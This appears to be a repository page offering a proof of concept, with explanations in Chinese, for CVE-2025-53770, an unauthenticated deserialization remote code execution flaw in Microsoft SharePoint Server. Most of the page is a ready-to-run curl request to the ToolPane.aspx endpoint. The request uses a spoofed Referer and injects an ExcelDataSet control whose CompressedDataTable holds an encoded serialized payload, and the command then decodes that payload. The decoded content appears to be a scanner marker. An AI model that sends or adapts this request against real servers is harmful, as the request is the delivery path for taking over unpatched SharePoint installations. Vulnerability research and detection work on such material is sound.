muhammadwaseem29/cve-2025-53770Unauthenticated Remote Code Execution via unsafe deserialization in Microsoft SharePoint Server (CVE-2025-53770)
严重 — 通过在Microsoft SharePoint Server中的不安全反序列化实现的未认证远程代码执行 (CVE-2025-53770)
在本地部署的Microsoft SharePoint Server中反序列化不可信数据允许攻击者远程执行代码并入侵系统。Microsoft已知悉该漏洞正在被积极利用，并正在准备全面的更新。请确保已应用CVE文档中所述的缓解措施。
以下PoC演示了攻击者如何利用该漏洞通过易受攻击的端点提取并解码恶意载荷。
目标域名故意替换为 target.com。
curl -sk -X POST 'https://target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' \
-H 'Referer: /_layouts/SignOut.aspx' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'MSOTlPn_Uri=https://target.com' \
--data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>' \
| grep -oP 'CompressedDataTable="\K[^&]+(?=")' \
| base64 -d 2>/dev/null \
| gzip -d 2>/dev/null \
| tee /tmp/sharepoint_decoded_payload.txt \
| grep -Ei 'IntruderScannerDetectionPayload|ExcelDataSet|divWaiting|ProgressTemplate|Scorecard'
<Info>IntruderScannerDetectionPayload</Info>
影响：
未认证的攻击者可以利用不安全反序列化在SharePoint Server上实现远程代码执行，从而导致系统完全被入侵。